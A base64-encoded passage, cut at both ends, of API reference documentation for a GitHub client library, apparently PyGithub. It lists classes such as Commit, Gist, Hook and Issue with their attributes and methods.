zdHJpbmcKKiBgZ2V0X2tleSggaWQgKWA6IGBV\nc2VyS2V5YAogICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF9rZXlzKClgOiBg\nUGFnaW5hdGVkTGlzdGAgb2YgYFVzZXJLZXlgCgpNb2RpZmljYXRpb24KLS0t\nLS0tLS0tLS0tCiogYGVkaXQoIFtuYW1lLCBlbWFpbCwgYmxvZywgY29tcGFu\neSwgbG9jYXRpb24sIGhpcmVhYmxlLCBiaW9dIClgCiAgICAqIGBuYW1lYDog\nc3RyaW5nCiAgICAqIGBlbWFpbGA6IHN0cmluZwogICAgKiBgYmxvZ2A6IHN0\ncmluZwogICAgKiBgY29tcGFueWA6IHN0cmluZwogICAgKiBgbG9jYXRpb25g\nOiBzdHJpbmcKICAgICogYGhpcmVhYmxlYDogYm9vbAogICAgKiBgYmlvYDog\nc3RyaW5nCgpPcmdzCi0tLS0KKiBgZ2V0X29yZ3MoKWA6IGBQYWdpbmF0ZWRM\naXN0YCBvZiBgT3JnYW5pemF0aW9uYAoKUmVwb3MKLS0tLS0KKiBgY3JlYXRl\nX3JlcG8oIG5hbWUsIFtkZXNjcmlwdGlvbiwgaG9tZXBhZ2UsIHByaXZhdGUs\nIGhhc19pc3N1ZXMsIGhhc193aWtpLCBoYXNfZG93bmxvYWRzLCBhdXRvX2lu\naXQsIGdpdGlnbm9yZV90ZW1wbGF0ZV0gKWA6IGBSZXBvc2l0b3J5YAogICAg\nKiBgbmFtZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcK\nICAgICogYGhvbWVwYWdlYDogc3RyaW5nCiAgICAqIGBwcml2YXRlYDogYm9v\nbAogICAgKiBgaGFzX2lzc3Vlc2A6IGJvb2wKICAgICogYGhhc193aWtpYDog\nYm9vbAogICAgKiBgaGFzX2Rvd25sb2Fkc2A6IGJvb2wKICAgICogYGF1dG9f\naW5pdGA6IGJvb2wKICAgICogYGdpdGlnbm9yZV90ZW1wbGF0ZWA6IHN0cmlu\nZwoqIGBnZXRfcmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBu\nYW1lYDogc3RyaW5nCiogYGdldF9yZXBvcyggW3R5cGUsIHNvcnQsIGRpcmVj\ndGlvbl0gKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgUmVwb3NpdG9yeWAKICAg\nICogYHR5cGVgOiBzdHJpbmcKICAgICogYHNvcnRgOiBzdHJpbmcKICAgICog\nYGRpcmVjdGlvbmA6IHN0cmluZwoKU3RhcnJlZAotLS0tLS0tCiogYGFkZF90\nb19zdGFycmVkKCBzdGFycmVkIClgCiAgICAqIGBzdGFycmVkYDogYFJlcG9z\naXRvcnlgCiogYGdldF9zdGFycmVkKClgOiBgUGFnaW5hdGVkTGlzdGAgb2Yg\nYFJlcG9zaXRvcnlgCiogYGhhc19pbl9zdGFycmVkKCBzdGFycmVkIClgOiBi\nb29sCiAgICAqIGBzdGFycmVkYDogYFJlcG9zaXRvcnlgCiogYHJlbW92ZV9m\ncm9tX3N0YXJyZWQoIHN0YXJyZWQgKWAKICAgICogYHN0YXJyZWRgOiBgUmVw\nb3NpdG9yeWAKClN1YnNjcmlwdGlvbnMKLS0tLS0tLS0tLS0tLQoqIGBhZGRf\ndG9fc3Vic2NyaXB0aW9ucyggc3Vic2NyaXB0aW9uIClgCiAgICAqIGBzdWJz\nY3JpcHRpb25gOiBgUmVwb3NpdG9yeWAKKiBgZ2V0X3N1YnNjcmlwdGlvbnMo\nKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgUmVwb3NpdG9yeWAKKiBgaGFzX2lu\nX3N1YnNjcmlwdGlvbnMoIHN1YnNjcmlwdGlvbiApYDogYm9vbAogICAgKiBg\nc3Vic2NyaXB0aW9uYDogYFJlcG9zaXRvcnlgCiogYHJlbW92ZV9mcm9tX3N1\nYnNjcmlwdGlvbnMoIHN1YnNjcmlwdGlvbiApYAogICAgKiBgc3Vic2NyaXB0\naW9uYDogYFJlcG9zaXRvcnlgCgpXYXRjaGVkCi0tLS0tLS0KKiBgYWRkX3Rv\nX3dhdGNoZWQoIHdhdGNoZWQgKWAKICAgICogYHdhdGNoZWRgOiBgUmVwb3Np\ndG9yeWAKKiBgZ2V0X3dhdGNoZWQoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBg\nUmVwb3NpdG9yeWAKKiBgaGFzX2luX3dhdGNoZWQoIHdhdGNoZWQgKWA6IGJv\nb2wKICAgICogYHdhdGNoZWRgOiBgUmVwb3NpdG9yeWAKKiBgcmVtb3ZlX2Zy\nb21fd2F0Y2hlZCggd2F0Y2hlZCApYAogICAgKiBgd2F0Y2hlZGA6IGBSZXBv\nc2l0b3J5YAoKQ2xhc3MgYEF1dGhvcml6YXRpb25gCj09PT09PT09PT09PT09\nPT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFwcGA6IGBBdXRo\nb3JpemF0aW9uQXBwbGljYXRpb25gCiogYGNyZWF0ZWRfYXRgOiBkYXRldGlt\nZS5kYXRldGltZQoqIGBpZGA6IGludGVnZXIKKiBgbm90ZWA6IHN0cmluZwoq\nIGBub3RlX3VybGA6IHN0cmluZwoqIGBzY29wZXNgOiBsaXN0IG9mIHN0cmlu\nZwoqIGB0b2tlbmA6IHN0cmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUu\nZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0tLQoq\nIGBkZWxldGUoKWAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRp\ndCggW3Njb3BlcywgYWRkX3Njb3BlcywgcmVtb3ZlX3Njb3Blcywgbm90ZSwg\nbm90ZV91cmxdIClgCiAgICAqIGBzY29wZXNgOiBsaXN0IG9mIHN0cmluZwog\nICAgKiBgYWRkX3Njb3Blc2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGByZW1v\ndmVfc2NvcGVzYDogbGlzdCBvZiBzdHJpbmcKICAgICogYG5vdGVgOiBzdHJp\nbmcKICAgICogYG5vdGVfdXJsYDogc3RyaW5nCgpDbGFzcyBgQXV0aG9yaXph\ndGlvbkFwcGxpY2F0aW9uYAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG5hbWVgOiBzdHJpbmcK\nKiBgdXJsYDogc3RyaW5nCgpDbGFzcyBgQnJhbmNoYAo9PT09PT09PT09PT09\nPQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNvbW1pdGA6IGBDb21taXRg\nCiogYG5hbWVgOiBzdHJpbmcKCkNsYXNzIGBDb21taXRgCj09PT09PT09PT09\nPT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYXV0aG9yYDogYE5hbWVk\nVXNlcmAKKiBgY29tbWl0YDogYEdpdENvbW1pdGAKKiBgY29tbWl0dGVyYDog\nYE5hbWVkVXNlcmAKKiBgZmlsZXNgOiBsaXN0IG9mIGBGaWxlYAoqIGBwYXJl\nbnRzYDogbGlzdCBvZiBgQ29tbWl0YAoqIGBzaGFgOiBzdHJpbmcKKiBgc3Rh\ndHNgOiBgQ29tbWl0U3RhdHNgCiogYHVybGA6IHN0cmluZwoKQ29tbWVudHMK\nLS0tLS0tLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJvZHksIFtsaW5lLCBwYXRo\nLCBwb3NpdGlvbl0gKWA6IGBDb21taXRDb21tZW50YAogICAgKiBgYm9keWA6\nIHN0cmluZwogICAgKiBgbGluZWA6IGludGVnZXIKICAgICogYHBhdGhgOiBz\ndHJpbmcKICAgICogYHBvc2l0aW9uYDogaW50ZWdlcgoqIGBnZXRfY29tbWVu\ndHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgQ29tbWl0Q29tbWVudGAKClN0\nYXR1c2VzCi0tLS0tLS0tCiogYGNyZWF0ZV9zdGF0dXMoIHN0YXRlLCBbdGFy\nZ2V0X3VybCwgZGVzY3JpcHRpb25dIClgOiBgQ29tbWl0U3RhdHVzYAogICAg\nKiBgc3RhdGVgOiBzdHJpbmcKICAgICogYHRhcmdldF91cmxgOiBzdHJpbmcK\nICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiogYGdldF9zdGF0dXNlcygp\nYDogYFBhZ2luYXRlZExpc3RgIG9mIGBDb21taXRTdGF0dXNgCgpDbGFzcyBg\nQ29tbWl0Q29tbWVudGAKPT09PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1\ndGVzCi0tLS0tLS0tLS0KKiBgYm9keWA6IHN0cmluZwoqIGBjb21taXRfaWRg\nOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDogaW50ZWdlcgoqIGBsaW5lYDog\naW50ZWdlcgoqIGBwYXRoYDogc3RyaW5nCiogYHBvc2l0aW9uYDogaW50ZWdl\ncgoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDog\nc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKRGVsZXRpb24KLS0tLS0t\nLS0KKiBgZGVsZXRlKClgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiog\nYGVkaXQoIGJvZHkgKWAKICAgICogYGJvZHlgOiBzdHJpbmcKCkNsYXNzIGBD\nb21taXRTdGF0c2AKPT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwot\nLS0tLS0tLS0tCiogYGFkZGl0aW9uc2A6IGludGVnZXIKKiBgZGVsZXRpb25z\nYDogaW50ZWdlcgoqIGB0b3RhbGA6IGludGVnZXIKCkNsYXNzIGBDb21taXRT\ndGF0dXNgCj09PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0t\nLS0tLS0KKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGNy\nZWF0b3JgOiBgTmFtZWRVc2VyYAoqIGBkZXNjcmlwdGlvbmA6IHN0cmluZwoq\nIGBpZGA6IGludGVnZXIKKiBgc3RhdGVgOiBzdHJpbmcKKiBgdGFyZ2V0X3Vy\nbGA6IHN0cmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUK\nCkNsYXNzIGBDb21wYXJpc29uYAo9PT09PT09PT09PT09PT09PT0KCkF0dHJp\nYnV0ZXMKLS0tLS0tLS0tLQoqIGBhaGVhZF9ieWA6IGludGVnZXIKKiBgYmFz\nZV9jb21taXRgOiBgQ29tbWl0YAoqIGBiZWhpbmRfYnlgOiBpbnRlZ2VyCiog\nYGNvbW1pdHNgOiBsaXN0IG9mIGBDb21taXRgCiogYGRpZmZfdXJsYDogc3Ry\naW5nCiogYGZpbGVzYDogbGlzdCBvZiBgRmlsZWAKKiBgaHRtbF91cmxgOiBz\ndHJpbmcKKiBgcGF0Y2hfdXJsYDogc3RyaW5nCiogYHBlcm1hbGlua191cmxg\nOiBzdHJpbmcKKiBgc3RhdHVzYDogc3RyaW5nCiogYHRvdGFsX2NvbW1pdHNg\nOiBpbnRlZ2VyCiogYHVybGA6IHN0cmluZwoKQ2xhc3MgYENvbnRlbnRGaWxl\nYAo9PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0K\nKiBgY29udGVudGA6IHN0cmluZwoqIGBlbmNvZGluZ2A6IHN0cmluZwoqIGBu\nYW1lYDogc3RyaW5nCiogYHBhdGhgOiBzdHJpbmcKKiBgc2hhYDogc3RyaW5n\nCiogYHNpemVgOiBpbnRlZ2VyCiogYHR5cGVgOiBzdHJpbmcKCkNsYXNzIGBE\nb3dubG9hZGAKPT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0t\nLS0tCiogYGFjY2Vzc2tleWlkYDogc3RyaW5nCiogYGFjbGA6IHN0cmluZwoq\nIGBidWNrZXRgOiBzdHJpbmcKKiBgY29udGVudF90eXBlYDogc3RyaW5nCiog\nYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBkZXNjcmlwdGlv\nbmA6IHN0cmluZwoqIGBkb3dubG9hZF9jb3VudGA6IGludGVnZXIKKiBgZXhw\naXJhdGlvbmRhdGVgOiBkYXRldGltZS5kYXRldGltZQoqIGBodG1sX3VybGA6\nIHN0cmluZwoqIGBpZGA6IGludGVnZXIKKiBgbWltZV90eXBlYDogc3RyaW5n\nCiogYG5hbWVgOiBzdHJpbmcKKiBgcGF0aGA6IHN0cmluZwoqIGBwb2xpY3lg\nOiBzdHJpbmcKKiBgcHJlZml4YDogc3RyaW5nCiogYHJlZGlyZWN0YDogYm9v\nbAoqIGBzM191cmxgOiBzdHJpbmcKKiBgc2lnbmF0dXJlYDogc3RyaW5nCiog\nYHNpemVgOiBpbnRlZ2VyCiogYHVybGA6IHN0cmluZwoKRGVsZXRpb24KLS0t\nLS0tLS0KKiBgZGVsZXRlKClgCgpDbGFzcyBgRXZlbnRgCj09PT09PT09PT09\nPT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhY3RvcmA6IGBOYW1lZFVz\nZXJgCiogYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBpZGA6\nIHN0cmluZwoqIGBvcmdgOiBgT3JnYW5pemF0aW9uYAoqIGBwYXlsb2FkYDog\nZGljdAoqIGBwdWJsaWNgOiBib29sCiogYHJlcG9gOiBgUmVwb3NpdG9yeWAK\nKiBgdHlwZWA6IHN0cmluZwoKQ2xhc3MgYEZpbGVgCj09PT09PT09PT09PQoK\nQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFkZGl0aW9uc2A6IGludGVnZXIK\nKiBgYmxvYl91cmxgOiBzdHJpbmcKKiBgY2hhbmdlc2A6IGludGVnZXIKKiBg\nZGVsZXRpb25zYDogaW50ZWdlcgoqIGBmaWxlbmFtZWA6IHN0cmluZwoqIGBw\nYXRjaGA6IHN0cmluZwoqIGByYXdfdXJsYDogc3RyaW5nCiogYHNoYWA6IHN0\ncmluZwoqIGBzdGF0dXNgOiBzdHJpbmcKCkNsYXNzIGBHaXN0YAo9PT09PT09\nPT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBjb21tZW50c2A6IGlu\ndGVnZXIKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRl\nc2NyaXB0aW9uYDogc3RyaW5nCiogYGZpbGVzYDogZGljdCBvZiBzdHJpbmcg\ndG8gYEdpc3RGaWxlYAoqIGBmb3JrX29mYDogYEdpc3RgCiogYGZvcmtzYDog\nbGlzdCBvZiBgR2lzdGAKKiBgZ2l0X3B1bGxfdXJsYDogc3RyaW5nCiogYGdp\ndF9wdXNoX3VybGA6IHN0cmluZwoqIGBoaXN0b3J5YDogbGlzdCBvZiBgR2lz\ndEhpc3RvcnlTdGF0ZWAKKiBgaHRtbF91cmxgOiBzdHJpbmcKKiBgaWRgOiBz\ndHJpbmcKKiBgcHVibGljYDogYm9vbAoqIGB1cGRhdGVkX2F0YDogZGF0ZXRp\nbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRV\nc2VyYAoKQ29tbWVudHMKLS0tLS0tLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJv\nZHkgKWA6IGBHaXN0Q29tbWVudGAKICAgICogYGJvZHlgOiBzdHJpbmcKKiBg\nZ2V0X2NvbW1lbnQoIGlkIClgOiBgR2lzdENvbW1lbnRgCiAgICAqIGBpZGA6\nIGludGVnZXIKKiBgZ2V0X2NvbW1lbnRzKClgOiBgUGFnaW5hdGVkTGlzdGAg\nb2YgYEdpc3RDb21tZW50YAoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRl\nKClgCgpGb3JraW5nCi0tLS0tLS0KKiBgY3JlYXRlX2ZvcmsoKWA6IGBHaXN0\nYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbZGVzY3Jp\ncHRpb24sIGZpbGVzXSApYAogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcK\nICAgICogYGZpbGVzYDogZGljdCBvZiBzdHJpbmcgdG8gYElucHV0RmlsZUNv\nbnRlbnRgCgpTdGFycmluZwotLS0tLS0tLQoqIGBpc19zdGFycmVkKClgOiBi\nb29sCiogYHJlc2V0X3N0YXJyZWQoKWAKKiBgc2V0X3N0YXJyZWQoKWAKCkNs\nYXNzIGBHaXN0Q29tbWVudGAKPT09PT09PT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGJvZHlgOiBzdHJpbmcKKiBgY3JlYXRlZF9h\ndGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGlkYDogaW50ZWdlcgoqIGB1cGRh\ndGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiog\nYHVzZXJgOiBgTmFtZWRVc2VyYAoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVs\nZXRlKClgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIGJv\nZHkgKWAKICAgICogYGJvZHlgOiBzdHJpbmcKCkNsYXNzIGBHaXN0RmlsZWAK\nPT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNv\nbnRlbnRgOiBzdHJpbmcKKiBgZmlsZW5hbWVgOiBzdHJpbmcKKiBgbGFuZ3Vh\nZ2VgOiBzdHJpbmcKKiBgcmF3X3VybGA6IHN0cmluZwoqIGBzaXplYDogaW50\nZWdlcgoKQ2xhc3MgYEdpc3RIaXN0b3J5U3RhdGVgCj09PT09PT09PT09PT09\nPT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNoYW5nZV9z\ndGF0dXNgOiBgQ29tbWl0U3RhdHNgCiogYGNvbW1pdHRlZF9hdGA6IGRhdGV0\naW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmluZwoqIGB1c2VyYDogYE5hbWVk\nVXNlcmAKKiBgdmVyc2lvbmA6IHN0cmluZwoKQ2xhc3MgYEdpdEF1dGhvcmAK\nPT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBk\nYXRlYDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgZW1haWxgOiBzdHJpbmcKKiBg\nbmFtZWA6IHN0cmluZwoKQ2xhc3MgYEdpdEJsb2JgCj09PT09PT09PT09PT09\nPQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNvbnRlbnRgOiBzdHJpbmcK\nKiBgZW5jb2RpbmdgOiBzdHJpbmcKKiBgc2hhYDogc3RyaW5nCiogYHNpemVg\nOiBpbnRlZ2VyCiogYHVybGA6IHN0cmluZwoKQ2xhc3MgYEdpdENvbW1pdGAK\nPT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBh\ndXRob3JgOiBgR2l0QXV0aG9yYAoqIGBjb21taXR0ZXJgOiBgR2l0QXV0aG9y\nYAoqIGBtZXNzYWdlYDogc3RyaW5nCiogYHBhcmVudHNgOiBsaXN0IG9mIGBH\naXRDb21taXRgCiogYHNoYWA6IHN0cmluZwoqIGB0cmVlYDogYEdpdFRyZWVg\nCiogYHVybGA6IHN0cmluZwoKQ2xhc3MgYEdpdE9iamVjdGAKPT09PT09PT09\nPT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBzaGFgOiBzdHJp\nbmcKKiBgdHlwZWA6IHN0cmluZwoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBH\naXRpZ25vcmVUZW1wbGF0ZWAKPT09PT09PT09PT09PT09PT09PT09PT09PQoK\nQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG5hbWVgOiBzdHJpbmcKKiBgc291\ncmNlYDogc3RyaW5nCgpDbGFzcyBgR2l0UmVmYAo9PT09PT09PT09PT09PQoK\nQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG9iamVjdGA6IGBHaXRPYmplY3Rg\nCiogYHJlZmA6IHN0cmluZwoqIGB1cmxgOiBzdHJpbmcKCkRlbGV0aW9uCi0t\nLS0tLS0tCiogYGRlbGV0ZSgpYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0t\nLQoqIGBlZGl0KCBzaGEsIFtmb3JjZV0gKWAKICAgICogYHNoYWA6IHN0cmlu\nZwogICAgKiBgZm9yY2VgOiBib29sCgpDbGFzcyBgR2l0VGFnYAo9PT09PT09\nPT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG1lc3NhZ2VgOiBz\ndHJpbmcKKiBgb2JqZWN0YDogYEdpdE9iamVjdGAKKiBgc2hhYDogc3RyaW5n\nCiogYHRhZ2A6IHN0cmluZwoqIGB0YWdnZXJgOiBgR2l0QXV0aG9yYAoqIGB1\ncmxgOiBzdHJpbmcKCkNsYXNzIGBHaXRUcmVlYAo9PT09PT09PT09PT09PT0K\nCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBzaGFgOiBzdHJpbmcKKiBgdHJl\nZWA6IGxpc3Qgb2YgYEdpdFRyZWVFbGVtZW50YAoqIGB1cmxgOiBzdHJpbmcK\nCkNsYXNzIGBHaXRUcmVlRWxlbWVudGAKPT09PT09PT09PT09PT09PT09PT09\nPQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG1vZGVgOiBzdHJpbmcKKiBg\ncGF0aGA6IHN0cmluZwoqIGBzaGFgOiBzdHJpbmcKKiBgc2l6ZWA6IGludGVn\nZXIKKiBgdHlwZWA6IHN0cmluZwoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBI\nb29rYAo9PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBh\nY3RpdmVgOiBib29sCiogYGNvbmZpZ2A6IGRpY3QKKiBgY3JlYXRlZF9hdGA6\nIGRhdGV0aW1lLmRhdGV0aW1lCiogYGV2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5n\nCiogYGlkYDogaW50ZWdlcgoqIGBsYXN0X3Jlc3BvbnNlYDogYEhvb2tSZXNw\nb25zZWAKKiBgbmFtZWA6IHN0cmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRp\nbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0t\nLQoqIGBkZWxldGUoKWAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBg\nZWRpdCggbmFtZSwgY29uZmlnLCBbZXZlbnRzLCBhZGRfZXZlbnRzLCByZW1v\ndmVfZXZlbnRzLCBhY3RpdmVdIClgCiAgICAqIGBuYW1lYDogc3RyaW5nCiAg\nICAqIGBjb25maWdgOiBkaWN0CiAgICAqIGBldmVudHNgOiBsaXN0IG9mIHN0\ncmluZwogICAgKiBgYWRkX2V2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAq\nIGByZW1vdmVfZXZlbnRzYDogbGlzdCBvZiBzdHJpbmcKICAgICogYGFjdGl2\nZWA6IGJvb2wKClRlc3RpbmcKLS0tLS0tLQoqIGB0ZXN0KClgCgpDbGFzcyBg\nSG9va0Rlc2NyaXB0aW9uYAo9PT09PT09PT09PT09PT09PT09PT09PQoKQXR0\ncmlidXRlcwotLS0tLS0tLS0tCiogYGV2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5n\nCiogYG5hbWVgOiBzdHJpbmcKKiBgc2NoZW1hYDogbGlzdCBvZiBsaXN0IG9m\nIHN0cmluZwoqIGBzdXBwb3J0ZWRfZXZlbnRzYDogbGlzdCBvZiBzdHJpbmcK\nCkNsYXNzIGBIb29rUmVzcG9uc2VgCj09PT09PT09PT09PT09PT09PT09CgpB\ndHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgY29kZWA6IGludGVnZXIKKiBgbWVz\nc2FnZWA6IHN0cmluZwoqIGBzdGF0dXNgOiBzdHJpbmcKCkNsYXNzIGBJc3N1\nZWAKPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFz\nc2lnbmVlYDogYE5hbWVkVXNlcmAKKiBgYm9keWA6IHN0cmluZwoqIGBjbG9z\nZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBjbG9zZWRfYnlgOiBgTmFt\nZWRVc2VyYAoqIGBjb21tZW50c2A6IGludGVnZXIKKiBgY3JlYXRlZF9hdGA6\nIGRhdGV0aW1lLmRhdGV0aW1lCiogYGh0bWxfdXJsYDogc3RyaW5nCiogYGlk\nYDogaW50ZWdlcgoqIGBsYWJlbHNgOiBsaXN0IG9mIGBMYWJlbGAKKiBgbWls\nZXN0b25lYDogYE1pbGVzdG9uZWAKKiBgbnVtYmVyYDogaW50ZWdlcgoqIGBw\ndWxsX3JlcXVlc3RgOiBgSXNzdWVQdWxsUmVxdWVzdGAKKiBgcmVwb3NpdG9y\neWA6IGBSZXBvc2l0b3J5YAoqIGBzdGF0ZWA6IHN0cmluZwoqIGB0aXRsZWA6\nIHN0cmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBg\ndXJsYDogc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKQ29tbWVudHMK\nLS0tLS0tLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJvZHkgKWA6IGBJc3N1ZUNv\nbW1lbnRgCiAgICAqIGBib2R5YDogc3RyaW5nCiogYGdldF9jb21tZW50KCBp\nZCApYDogYElzc3VlQ29tbWVudGAKICAgICogYGlkYDogaW50ZWdlcgoqIGBn\nZXRfY29tbWVudHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgSXNzdWVDb21t\nZW50YAoKRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZlbnRzKClgOiBgUGFnaW5h\ndGVkTGlzdGAgb2YgYElzc3VlRXZlbnRgCgpMYWJlbHMKLS0tLS0tCiogYGFk\nZF90b19sYWJlbHMoIGxhYmVsLCAuLi4gKWAKICAgICogYGxhYmVsYDogYExh\nYmVsYAoqIGBkZWxldGVfbGFiZWxzKClgCiogYGdldF9sYWJlbHMoKWA6IGBQ\nYWdpbmF0ZWRMaXN0YCBvZiBgTGFiZWxgCiogYHJlbW92ZV9mcm9tX2xhYmVs\ncyggbGFiZWwgKWAKICAgICogYGxhYmVsYDogYExhYmVsYAoqIGBzZXRfbGFi\nZWxzKCBsYWJlbCwgLi4uIClgCiAgICAqIGBsYWJlbGA6IGBMYWJlbGAKCk1v\nZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggW3RpdGxlLCBib2R5\nLCBhc3NpZ25lZSwgc3RhdGUsIG1pbGVzdG9uZSwgbGFiZWxzXSApYAogICAg\nKiBgdGl0bGVgOiBzdHJpbmcKICAgICogYGJvZHlgOiBzdHJpbmcKICAgICog\nYGFzc2lnbmVlYDogYE5hbWVkVXNlcmAgb3IgTm9uZQogICAgKiBgc3RhdGVg\nOiBzdHJpbmcKICAgICogYG1pbGVzdG9uZWA6IGBNaWxlc3RvbmVgIG9yIE5v\nbmUKICAgICogYGxhYmVsc2A6IGxpc3Qgb2Ygc3RyaW5nCgpDbGFzcyBgSXNz\ndWVDb21tZW50YAo9PT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwot\nLS0tLS0tLS0tCiogYGJvZHlgOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRh\ndGV0aW1lLmRhdGV0aW1lCiogYGlkYDogaW50ZWdlcgoqIGB1cGRhdGVkX2F0\nYDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiogYHVzZXJg\nOiBgTmFtZWRVc2VyYAoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClg\nCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIGJvZHkgKWAK\nICAgICogYGJvZHlgOiBzdHJpbmcKCkNsYXNzIGBJc3N1ZUV2ZW50YAo9PT09\nPT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhY3Rv\ncmA6IGBOYW1lZFVzZXJgCiogYGNvbW1pdF9pZGA6IHN0cmluZwoqIGBjcmVh\ndGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgZXZlbnRgOiBzdHJpbmcK\nKiBgaWRgOiBpbnRlZ2VyCiogYGlzc3VlYDogYElzc3VlYAoqIGB1cmxgOiBz\ndHJpbmcKCkNsYXNzIGBJc3N1ZVB1bGxSZXF1ZXN0YAo9PT09PT09PT09PT09\nPT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBkaWZmX3Vy\nbGA6IHN0cmluZwoqIGBodG1sX3VybGA6IHN0cmluZwoqIGBwYXRjaF91cmxg\nOiBzdHJpbmcKCkNsYXNzIGBMYWJlbGAKPT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGNvbG9yYDogc3RyaW5nCiogYG5hbWVgOiBz\ndHJpbmcKKiBgdXJsYDogc3RyaW5nCgpEZWxldGlv